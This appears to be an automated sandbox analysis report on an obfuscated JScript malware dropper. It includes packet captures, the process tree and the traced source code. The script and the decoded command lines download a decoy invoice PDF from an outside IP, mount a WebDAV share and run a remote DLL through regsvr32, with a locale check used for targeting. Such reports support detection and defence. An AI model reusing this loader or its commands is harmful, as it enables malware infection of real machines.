Jan 11, 2025 06:31:54.142556906 CET	53	64604	1.1.1.1	192.168.2.9
Jan 11, 2025 06:31:54.142654896 CET	64604	53	192.168.2.9	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 06:30:45.784048080 CET	62087	53	192.168.2.9	1.1.1.1
Jan 11, 2025 06:31:53.662111998 CET	53	58049	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 06:30:45.784048080 CET	192.168.2.9	1.1.1.1	0x7898	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 06:30:45.791868925 CET	1.1.1.1	192.168.2.9	0x7898	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.39	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 11, 2025 06:30:46.568924904 CET	1.1.1.1	192.168.2.9	0xbc14	No error (0)	default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49752	193.143.1.205	80	7488	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:30:35.887779951 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 06:30:36.665544033 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:30:36 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 06:30:36.665568113 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 06:30:36.665579081 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 11, 2025 06:30:36.665725946 CET	1236	IN	Data Raw: ab ce 09 d5 25 b4 1b 08 ed 33 68 0a a0 17 e7 b3 c7 7d fb 9f cd 23 fd cd 4b 49 a2 fd 88 a8 9d 0f 7d fc 34 ef a1 1c 1e ba 13 a6 be 21 01 00 00 ec 0a be 4c 02 00 00 00 00 e0 cb 30 49 70 c1 6e 28 2d c8 1d 2f a1 6d f1 bc 6f 1a e8 d9 fd b9 7b 48 15 6d Data Ascii: %3h}#KI}4!L0Ipn(-/mo{Hmi?"PoH;2l`rPSB]8s~%~w}rS&WJ\|1W{c =*@Og8m\|JtConopN01R
Jan 11, 2025 06:30:36.665744066 CET	1236	IN	Data Raw: 00 00 c0 34 f8 62 09 00 00 00 00 80 2f c9 46 63 0a 76 4f e5 81 a1 77 f3 03 43 af 52 0c 3d 6b 0e 0c 3d 39 be 3d 4e 3b 72 f7 d2 8e dc c1 58 e8 cb e7 e7 2f ff 38 7f f1 47 f3 9f 7d 0f 6d ce 0f 4d c3 a1 7b ef ae 3f a4 4d b9 87 b7 27 b2 29 77 f4 d8 d0 Data Ascii: 4b/FcvOwCR=k=9=N;rX/8G}mM{?M')wl7'i_X>Ma\|h7*roM'7'i_xGG}`<F}cM}?~1=C3`\|
Jan 11, 2025 06:30:36.665755033 CET	448	IN	Data Raw: 17 4b 00 b0 e3 76 ea df 7f 6b 3e 7e 7d f7 dc 68 1b 5d ef a5 d6 7f cc b5 bc 8e 5b bb aa 25 2e 6f 8d 17 b6 ca 5b 71 c5 67 78 c5 0b ab ff 50 f5 ef b1 a5 5f dc 55 ec e0 ab b9 ae 3f da 54 bf ef d2 17 00 00 eb b5 f6 db 1a 76 54 bc 23 57 c5 d0 87 14 43 Data Ascii: Kvk>~}h][%.o[qgxP_U?TvT#WCCSb]CU}kch:6=CO%t1?6cC21ASKv_pe-%.u-~mVYO?]=8`6zs(?0&51$
Jan 11, 2025 06:30:36.665766954 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 06:30:36.665780067 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 06:30:36.665791988 CET	1236	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 06:30:36.665805101 CET	1236	IN	Data Raw: 86 d6 94 d0 d1 93 25 6b ce b8 cc f5 50 2f ec 14 66 23 a8 29 a1 29 fd 48 06 4d 0d f4 d9 b3 67 bf ff fe fb 6f ad 5f 23 b3 bf ff 7b 6b f6 2b 4d 12 95 11 d1 b0 c5 98 24 aa 4f f7 f3 4f 97 89 7a 7a 73 ef ab 48 98 a8 fc 61 a6 e1 e6 5e ad 1c a7 72 ed 2c Data Ascii: %kP/f#))HMgo_#{k+M$OOzzsHa^r,Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$
Jan 11, 2025 06:30:36.670444965 CET	328	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49768	193.143.1.205	8888	7788	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 06:30:38.423435926 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 06:30:39.237479925 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:30:39 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	00:30:31
Start date:	11/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\244312574730704684.js"
Imagebase:	0x7ff751480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	00:30:31
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll
Imagebase:	0x7ff7ea4a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	00:30:31
Start date:	11/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	00:30:31
Start date:	11/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	00:30:36
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	00:30:36
Start date:	11/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7ea4a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	00:30:36
Start date:	11/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6ee9f0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	00:30:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	00:30:37
Start date:	11/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	00:30:37
Start date:	11/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1644,i,4009595745192856699,11121187004155077926,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function mvolxnwsr() {	mvolxnwsr() ➔ undefined
1	gepahdlrz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var owijer = this[appnp + ljvsdau + hpvznui + vjidqpzbq + ylqtnaf + yrxhb + lwbxka + pxbgf] ( this[ejjlvcxq + xhqnxziu + kjrtwta + hpvznui + bqfcbozn + appnp + pxbgf][krgvnfx + hpvznui + ylqtnaf + ljvsdau + pxbgf + ylqtnaf + xzevt + rolwbciv + rtunxagg + ylqtnaf + kjrtwta + pxbgf] ( ejjlvcxq + xhqnxziu + kjrtwta + hpvznui + bqfcbozn + appnp + pxbgf + heibaq + xhqnxziu + bsaidanr + ylqtnaf + byjljxocn + byjljxocn ) [ecyfnte + ylqtnaf + kzvgy + ecyfnte + ylqtnaf + ljvsdau + nzrgxiddk] ( mityg + uhwohihiw + mmbwmlyx + afmaoxf + wjsqoe + krgvnfx + hbxhfvsbx + ecyfnte + ecyfnte + mmbwmlyx + dqtvouwzc + qtokwwvik + wjsqoe + hbxhfvsbx + xhqnxziu + mmbwmlyx + ecyfnte + dnaasnte + krgvnfx + vivyesn + lwbxka + pxbgf + hpvznui + vivyesn + byjljxocn + lydmugqvn + irtwdsh + ljvsdau + lwbxka + ylqtnaf + byjljxocn + dnaasnte + yrxhb + lwbxka + pxbgf + ylqtnaf + hpvznui + lwbxka + ljvsdau + pxbgf + bqfcbozn + vivyesn + lwbxka + ljvsdau + byjljxocn + dnaasnte + sfdcpkaa + vivyesn + kjrtwta + ljvsdau + byjljxocn + ylqtnaf ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qdzkhtph = 0 ; qdzkhtph < gepahdlrz[byjljxocn + ylqtnaf + lwbxka + kzvgy + pxbgf + bsaidanr] ; ++ qdzkhtph )
4	{
5	if ( owijer == gepahdlrz[qdzkhtph] )
6	{
7	owijer = true;
8	break ;
9	}
10	}
11	if ( owijer !== true )
12	this[ejjlvcxq + xhqnxziu + kjrtwta + hpvznui + bqfcbozn + appnp + pxbgf][qkzgcwg + erzcfomut + bqfcbozn + pxbgf] ( );
13	this[ejjlvcxq + xhqnxziu + kjrtwta + hpvznui + bqfcbozn + appnp + pxbgf][krgvnfx + hpvznui + ylqtnaf + ljvsdau + pxbgf + ylqtnaf + xzevt + rolwbciv + rtunxagg + ylqtnaf + kjrtwta + pxbgf] ( ejjlvcxq + xhqnxziu + kjrtwta + hpvznui + bqfcbozn + appnp + pxbgf + heibaq + xhqnxziu + bsaidanr + ylqtnaf + byjljxocn + byjljxocn ) [hpvznui + erzcfomut + lwbxka] ( kjrtwta + opfhvuwn + nzrgxiddk + lydmugqvn + kpddmycm + kjrtwta + lydmugqvn + appnp + vivyesn + icwbebiwy + ylqtnaf + hpvznui + vjidqpzbq + bsaidanr + ylqtnaf + byjljxocn + byjljxocn + heibaq + ylqtnaf + cvrnb + ylqtnaf + lydmugqvn + baonb + krgvnfx + vivyesn + opfhvuwn + opfhvuwn + ljvsdau + lwbxka + nzrgxiddk + lydmugqvn + ypghg + yrxhb + lwbxka + nihrltm + vivyesn + ynlxfh + ylqtnaf + baonb + ejjlvcxq + ylqtnaf + rolwbciv + ecyfnte + ylqtnaf + uhtsoa + erzcfomut + ylqtnaf + vjidqpzbq + pxbgf + lydmugqvn + baonb + xzevt + erzcfomut + pxbgf + pcmhuojmc + bqfcbozn + byjljxocn + ylqtnaf + lydmugqvn + crtlutirs + pxbgf + ylqtnaf + opfhvuwn + appnp + crtlutirs + dnaasnte + bqfcbozn + lwbxka + nihrltm + vivyesn + bqfcbozn + kjrtwta + ylqtnaf + heibaq + appnp + nzrgxiddk + rxzrruwwf + lydmugqvn + bsaidanr + pxbgf + pxbgf + appnp + bzjjbj + kpddmycm + kpddmycm + suosnokt + hwrgj + uhejmy + heibaq + suosnokt + kdpmu + uhejmy + heibaq + suosnokt + heibaq + rwiwh + jvtqiiz + xvocwswm + kpddmycm + bqfcbozn + lwbxka + nihrltm + vivyesn + bqfcbozn + kjrtwta + ylqtnaf + heibaq + appnp + bsaidanr + appnp + ypghg + lqjam + lqjam + vjidqpzbq + pxbgf + ljvsdau + hpvznui + pxbgf + lydmugqvn + crtlutirs + pxbgf + ylqtnaf + opfhvuwn + appnp + crtlutirs + dnaasnte + bqfcbozn + lwbxka + nihrltm + vivyesn + bqfcbozn + kjrtwta + ylqtnaf + heibaq + appnp + nzrgxiddk + rxzrruwwf + lqjam + lqjam + kjrtwta + opfhvuwn + nzrgxiddk + lydmugqvn + kpddmycm + kjrtwta + lydmugqvn + lwbxka + ylqtnaf + pxbgf + lydmugqvn + erzcfomut + vjidqpzbq + ylqtnaf + lydmugqvn + dnaasnte + dnaasnte + suosnokt + hwrgj + uhejmy + heibaq + suosnokt + kdpmu + uhejmy + heibaq + suosnokt + heibaq + rwiwh + jvtqiiz + xvocwswm + jlahisyiv + pcphwpi + pcphwpi + pcphwpi + pcphwpi + dnaasnte + nzrgxiddk + ljvsdau + nihrltm + icwbebiwy + icwbebiwy + icwbebiwy + hpvznui + vivyesn + vivyesn + pxbgf + dnaasnte + lqjam + lqjam + kjrtwta + opfhvuwn + nzrgxiddk + lydmugqvn + kpddmycm + kjrtwta + lydmugqvn + hpvznui + ylqtnaf + kzvgy + vjidqpzbq + nihrltm + hpvznui + uhejmy + rwiwh + lydmugqvn + kpddmycm + vjidqpzbq + lydmugqvn + dnaasnte + dnaasnte + suosnokt + hwrgj + uhejmy + heibaq + suosnokt + kdpmu + uhejmy + heibaq + suosnokt + heibaq + rwiwh + jvtqiiz + xvocwswm + jlahisyiv + pcphwpi + pcphwpi + pcphwpi + pcphwpi + dnaasnte + nzrgxiddk + ljvsdau + nihrltm + icwbebiwy + icwbebiwy + icwbebiwy + hpvznui + vivyesn + vivyesn + pxbgf + dnaasnte + suosnokt + oiyosuel + hwrgj + rwiwh + uhejmy + kdpmu + suosnokt + hwrgj + rwiwh + xvocwswm + xvocwswm + kdpmu + heibaq + nzrgxiddk + byjljxocn + byjljxocn, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\179234192554.dll",0,false) ➔ 0
14	}
15	ypghg = "K";
16	ypghg = "d";
17	ypghg = "o";
18	ypghg = "l";
19	ypghg = "J";
20	ypghg = "m";
21	ypghg = "G";
22	ypghg = "v";
23	ypghg = "c";
24	ypghg = "q";
25	ypghg = "I";
26	ypghg = "D";
27	ypghg = "D";
28	ypghg = "O";
29	ypghg = "h";
30	ypghg = "p";
31	ypghg = "H";
32	ypghg = "a";
33	ypghg = "z";
34	ypghg = "d";
35	ypghg = "T";
36	ypghg = "a";
37	ypghg = "c";
38	ypghg = "h";
39	ypghg = "\"";
40	xzevt = "a";
41	xzevt = "B";
42	xzevt = "n";
43	xzevt = "f";
44	xzevt = "M";
45	xzevt = "p";
46	xzevt = "c";
47	xzevt = "z";
48	xzevt = "O";
49	xzevt = "q";
50	xzevt = "y";
51	xzevt = "D";
52	xzevt = "i";
53	xzevt = "V";
54	xzevt = "z";
55	xzevt = "e";
56	xzevt = "O";
57	xhqnxziu = "E";
58	xhqnxziu = "L";
59	xhqnxziu = "J";
60	xhqnxziu = "P";
61	xhqnxziu = "d";
62	xhqnxziu = "u";
63	xhqnxziu = "L";
64	xhqnxziu = "B";
65	xhqnxziu = "v";
66	xhqnxziu = "a";
67	xhqnxziu = "c";
68	xhqnxziu = "b";
69	xhqnxziu = "j";
70	xhqnxziu = "f";
71	xhqnxziu = "F";
72	xhqnxziu = "p";
73	xhqnxziu = "T";
74	xhqnxziu = "k";
75	xhqnxziu = "z";
76	xhqnxziu = "A";
77	xhqnxziu = "j";
78	xhqnxziu = "O";
79	xhqnxziu = "F";
80	xhqnxziu = "r";
81	xhqnxziu = "J";
82	xhqnxziu = "F";
83	xhqnxziu = "O";
84	xhqnxziu = "r";
85	xhqnxziu = "z";
86	xhqnxziu = "s";
87	xhqnxziu = "w";
88	xhqnxziu = "n";
89	xhqnxziu = "k";
90	xhqnxziu = "B";
91	xhqnxziu = "l";
92	xhqnxziu = "b";
93	xhqnxziu = "N";
94	xhqnxziu = "A";
95	xhqnxziu = "Q";
96	xhqnxziu = "I";
97	xhqnxziu = "w";
98	xhqnxziu = "c";
99	xhqnxziu = "m";
100	xhqnxziu = "S";
101	hpvznui = "L";
102	hpvznui = "M";
103	hpvznui = "o";
104	hpvznui = "E";
105	hpvznui = "b";
106	hpvznui = "b";
107	hpvznui = "I";
108	hpvznui = "L";
109	hpvznui = "t";
110	hpvznui = "o";
111	hpvznui = "U";
112	hpvznui = "p";
113	hpvznui = "g";
114	hpvznui = "F";
115	hpvznui = "G";
116	hpvznui = "F";
117	hpvznui = "i";
118	hpvznui = "v";
119	hpvznui = "K";
120	hpvznui = "P";
121	hpvznui = "o";
122	hpvznui = "d";
123	hpvznui = "c";
124	hpvznui = "B";
125	hpvznui = "z";
126	hpvznui = "s";
127	hpvznui = "k";
128	hpvznui = "o";
129	hpvznui = "P";
130	hpvznui = "p";
131	hpvznui = "H";
132	hpvznui = "h";
133	hpvznui = "T";
134	hpvznui = "u";
135	hpvznui = "e";
136	hpvznui = "O";
137	hpvznui = "T";
138	hpvznui = "C";
139	hpvznui = "S";
140	hpvznui = "V";
141	hpvznui = "O";
142	hpvznui = "g";
143	hpvznui = "u";
144	hpvznui = "r";
145	nzrgxiddk = "A";
146	nzrgxiddk = "m";
147	nzrgxiddk = "d";
148	jvtqiiz = "I";
149	jvtqiiz = "w";
150	jvtqiiz = "D";
151	jvtqiiz = "i";
